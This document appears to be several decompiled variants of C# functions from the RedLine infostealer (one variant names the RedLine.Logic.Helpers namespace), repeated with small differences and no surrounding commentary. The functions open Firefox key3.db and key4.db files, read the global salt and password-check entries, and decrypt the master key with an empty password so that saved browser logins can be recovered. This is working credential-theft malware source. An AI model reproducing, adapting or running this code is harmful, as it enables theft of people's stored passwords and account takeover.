private static byte[] GetPrivate3Key(string file) { byte[] array = new byte[24]; try { if (!File.Exists(file)) { return(array); } new DataTable(); GeckoDatabase berkeleyDB = new GeckoDatabase(file); PasswordCheck passwordCheck = new PasswordCheck(ParseDb(berkeleyDB, (string x) => x.Equals("password-check"))); string hexString = ParseDb(berkeleyDB, (string x) => x.Equals("global-salt")); GeckoPasswordBasedEncryption geckoPasswordBasedEncryption = new GeckoPasswordBasedEncryption(DecryptHelper.ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), DecryptHelper.ConvertHexStringToByteArray(passwordCheck.EntrySalt)); geckoPasswordBasedEncryption.Init(); TripleDESHelper.Decrypt(geckoPasswordBasedEncryption.DataKey, geckoPasswordBasedEncryption.DataIV, DecryptHelper.ConvertHexStringToByteArray(passwordCheck.Passwordcheck)); Asn1Object asn1Object = Asn1Factory.Create(DecryptHelper.ConvertHexStringToByteArray(ParseDb(berkeleyDB, (string x) => !x.Equals("password-check") && !x.Equals("Version") && !x.Equals("global-salt")))); GeckoPasswordBasedEncryption geckoPasswordBasedEncryption2 = new GeckoPasswordBasedEncryption(DecryptHelper.ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), asn1Object.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData); geckoPasswordBasedEncryption2.Init(); Asn1Object asn1Object2 = Asn1Factory.Create(Asn1Factory.Create(Encoding.Default.GetBytes(TripleDESHelper.Decrypt(geckoPasswordBasedEncryption2.DataKey, geckoPasswordBasedEncryption2.DataIV, asn1Object.Objects[0].Objects[1].ObjectData))).Objects[0].Objects[2].ObjectData); if (asn1Object2.Objects[0].Objects[3].ObjectData.Length <= 24) { array = asn1Object2.Objects[0].Objects[3].ObjectData; return(array); } Array.Copy(asn1Object2.Objects[0].Objects[3].ObjectData, asn1Object2.Objects[0].Objects[3].ObjectData.Length - 24, array, 0, 24); return(array); } catch { return(array); } }
// Token: 0x060002CB RID: 715 RVA: 0x0000D09C File Offset: 0x0000B29C private static byte[] GetPrivate3Key(string file) { byte[] array = new byte[24]; try { if (!File.Exists(file)) { return(array); } MethodInfo method = typeof(Array).GetMethod("Copy", new Type[] { typeof(Array), typeof(int), typeof(Array), typeof(int), typeof(int) }); GeckoDatabase berkeleyDB = new GeckoDatabase(file); PasswordCheck passwordCheck = new PasswordCheck(GeckoEngine.ParseDb(berkeleyDB, (string x) => x.Equals("password-check"))); string hexString = GeckoEngine.ParseDb(berkeleyDB, (string x) => x.Equals("global-salt")); GeckoPasswordBasedEncryption geckoPasswordBasedEncryption = new GeckoPasswordBasedEncryption(DecryptHelper.ConvertHexStringToByteArray(hexString), Encoding.GetEncoding("windows-1251").GetBytes(string.Empty), DecryptHelper.ConvertHexStringToByteArray(passwordCheck.EntrySalt)); geckoPasswordBasedEncryption.Init(); TripleDESHelper.Decrypt(geckoPasswordBasedEncryption.DataKey, geckoPasswordBasedEncryption.DataIV, DecryptHelper.ConvertHexStringToByteArray(passwordCheck.Passwordcheck), PaddingMode.None); Asn1Object asn1Object = Asn1Factory.Create(DecryptHelper.ConvertHexStringToByteArray(GeckoEngine.ParseDb(berkeleyDB, (string x) => !x.Equals("password-check") && !x.Equals("Version") && !x.Equals("global-salt")))); GeckoPasswordBasedEncryption geckoPasswordBasedEncryption2 = new GeckoPasswordBasedEncryption(DecryptHelper.ConvertHexStringToByteArray(hexString), Encoding.GetEncoding("windows-1251").GetBytes(string.Empty), asn1Object.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData); geckoPasswordBasedEncryption2.Init(); Asn1Object asn1Object2 = Asn1Factory.Create(Asn1Factory.Create(Encoding.GetEncoding("windows-1251").GetBytes(TripleDESHelper.Decrypt(geckoPasswordBasedEncryption2.DataKey, geckoPasswordBasedEncryption2.DataIV, asn1Object.Objects[0].Objects[1].ObjectData, PaddingMode.None))).Objects[0].Objects[2].ObjectData); if (asn1Object2.Objects[0].Objects[3].ObjectData.Length > 24) { method.Invoke(null, new object[] { asn1Object2.Objects[0].Objects[3].ObjectData, asn1Object2.Objects[0].Objects[3].ObjectData.Length - 24, array, 0, 24 }); } else { array = asn1Object2.Objects[0].Objects[3].ObjectData; } } catch { } return(array); }
private static byte[] GetPrivate4Key(string file) { byte[] result = new byte[24]; try { if (!File.Exists(file)) { return(result); } SqlConnection sqlConnection = new SqlConnection(file); sqlConnection.ReadTable("metaData"); string s = sqlConnection.ParseValue(0, "item1"); string s2 = sqlConnection.ParseValue(0, "item2)"); Asn1Object asn1Object = Asn1Factory.Create(Encoding.Default.GetBytes(s2)); byte[] objectData = asn1Object.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData; byte[] objectData2 = asn1Object.Objects[0].Objects[1].ObjectData; GeckoPasswordBasedEncryption geckoPasswordBasedEncryption = new GeckoPasswordBasedEncryption(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData); geckoPasswordBasedEncryption.Init(); TripleDESHelper.Decrypt(geckoPasswordBasedEncryption.DataKey, geckoPasswordBasedEncryption.DataIV, objectData2); sqlConnection.ReadTable("nssPrivate"); int rowLength = sqlConnection.RowLength; string s3 = string.Empty; for (int i = 0; i < rowLength; i++) { if (sqlConnection.ParseValue(i, "a102") == Encoding.Default.GetString(Constants.Key4MagicNumber)) { s3 = sqlConnection.ParseValue(i, "a11"); break; } } Asn1Object asn1Object2 = Asn1Factory.Create(Encoding.Default.GetBytes(s3)); objectData = asn1Object2.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData; objectData2 = asn1Object2.Objects[0].Objects[1].ObjectData; geckoPasswordBasedEncryption = new GeckoPasswordBasedEncryption(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData); geckoPasswordBasedEncryption.Init(); result = Encoding.Default.GetBytes(TripleDESHelper.Decrypt(geckoPasswordBasedEncryption.DataKey, geckoPasswordBasedEncryption.DataIV, objectData2, PaddingMode.PKCS7)); return(result); } catch { return(result); } }
private static byte[] GetPrivate3Key(string file) { byte[] numArray = new byte[24]; try { if (!File.Exists(file)) { return(numArray); } DataTable dataTable = new DataTable(); GeckoDatabase berkeleyDB = new GeckoDatabase(file); PasswordCheck passwordCheck = new PasswordCheck(GeckoEngine.ParseDb(berkeleyDB, (Func <string, bool>)(x => x.Equals("password-check")))); string db = GeckoEngine.ParseDb(berkeleyDB, (Func <string, bool>)(x => x.Equals("global-salt"))); GeckoPasswordBasedEncryption passwordBasedEncryption1 = new GeckoPasswordBasedEncryption(DecryptHelper.ConvertHexStringToByteArray(db), Encoding.Default.GetBytes(string.Empty), DecryptHelper.ConvertHexStringToByteArray(passwordCheck.EntrySalt)); passwordBasedEncryption1.Init(); TripleDESHelper.Decrypt(passwordBasedEncryption1.DataKey, passwordBasedEncryption1.DataIV, DecryptHelper.ConvertHexStringToByteArray(passwordCheck.Passwordcheck), PaddingMode.None); Asn1Object asn1Object1 = Asn1Factory.Create(DecryptHelper.ConvertHexStringToByteArray(GeckoEngine.ParseDb(berkeleyDB, (Func <string, bool>)(x => { if (!x.Equals("password-check") && !x.Equals("Version")) { return(!x.Equals("global-salt")); } return(false); })))); GeckoPasswordBasedEncryption passwordBasedEncryption2 = new GeckoPasswordBasedEncryption(DecryptHelper.ConvertHexStringToByteArray(db), Encoding.Default.GetBytes(string.Empty), asn1Object1.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData); passwordBasedEncryption2.Init(); Asn1Object asn1Object2 = Asn1Factory.Create(Asn1Factory.Create(Encoding.Default.GetBytes(TripleDESHelper.Decrypt(passwordBasedEncryption2.DataKey, passwordBasedEncryption2.DataIV, asn1Object1.Objects[0].Objects[1].ObjectData, PaddingMode.None))).Objects[0].Objects[2].ObjectData); if (asn1Object2.Objects[0].Objects[3].ObjectData.Length > 24) { Array.Copy((Array)asn1Object2.Objects[0].Objects[3].ObjectData, asn1Object2.Objects[0].Objects[3].ObjectData.Length - 24, (Array)numArray, 0, 24); } else { numArray = asn1Object2.Objects[0].Objects[3].ObjectData; } } catch { } return(numArray); }
private static byte[] GetPrivate4Key(string file) { byte[] numArray = new byte[24]; try { if (!File.Exists(file)) { return(numArray); } SqlConnection sqlConnection = new SqlConnection(file); sqlConnection.ReadTable("metaData"); string s = sqlConnection.ParseValue(0, "item1"); Asn1Object asn1Object1 = Asn1Factory.Create(Encoding.Default.GetBytes(sqlConnection.ParseValue(0, "item2)"))); byte[] objectData1 = asn1Object1.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData; byte[] objectData2 = asn1Object1.Objects[0].Objects[1].ObjectData; GeckoPasswordBasedEncryption passwordBasedEncryption1 = new GeckoPasswordBasedEncryption(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData1); passwordBasedEncryption1.Init(); TripleDESHelper.Decrypt(passwordBasedEncryption1.DataKey, passwordBasedEncryption1.DataIV, objectData2, PaddingMode.None); sqlConnection.ReadTable("nssPrivate"); int rowLength = sqlConnection.RowLength; string empty = string.Empty; for (int rowIndex = 0; rowIndex < rowLength; ++rowIndex) { if (sqlConnection.ParseValue(rowIndex, "a102") == Encoding.Default.GetString(RedLine.Logic.Helpers.Constants.Key4MagicNumber)) { empty = sqlConnection.ParseValue(rowIndex, "a11"); break; } } Asn1Object asn1Object2 = Asn1Factory.Create(Encoding.Default.GetBytes(empty)); byte[] objectData3 = asn1Object2.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData; byte[] objectData4 = asn1Object2.Objects[0].Objects[1].ObjectData; GeckoPasswordBasedEncryption passwordBasedEncryption2 = new GeckoPasswordBasedEncryption(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData3); passwordBasedEncryption2.Init(); numArray = Encoding.Default.GetBytes(TripleDESHelper.Decrypt(passwordBasedEncryption2.DataKey, passwordBasedEncryption2.DataIV, objectData4, PaddingMode.PKCS7)); } catch { } return(numArray); }